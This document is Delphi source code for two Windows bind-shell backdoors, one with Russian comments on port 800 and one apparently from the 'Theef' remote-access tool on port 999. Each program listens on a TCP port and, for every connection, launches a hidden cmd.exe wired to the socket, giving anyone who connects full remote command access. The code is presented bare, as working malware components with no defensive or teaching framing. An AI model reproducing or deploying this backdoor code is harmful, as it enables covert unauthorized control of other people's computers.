program BindShell;

uses
  Windows,
  WinSock;

function WSASocketA(af, wType, protocol: integer;
                    lpProtocolInfo: pointer;
                    g, dwFlags: dword): integer;
                    stdcall; external 'ws2_32.dll';

var 
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;

begin
  WSAStartup($202, WSAData); // инициализация WinSocks2
  // создаем сокет
  FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
  bind(FSocket, SockAddrIn, 16); 
  listen(FSocket, 0);  // открываем порт
  while true do
   begin
    sHandle := accept(FSocket, nil, 0); // ожидаем соединения
    if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput  := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError  := sHandle;
       // запускаем cmd.exe с перенаправлением ввода-вывода
       CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end.

program theef_rpsrv;

uses
 Windows, Winsock2, Winsock;

const
 Port = 999;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
   FD_Zero(FDSet);
   FD_Set(ServerSocket, FDSet);
   Select(0, @FDSet, nil, nil, nil);
   if FD_IsSet(ServerSocket, FDSet) then
    begin
     New(Connected);
     Connected^ := Accept(ServerSocket, nil, nil);
     if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
     else
      Break;
    end;
  end;
 WSACleanup;
end.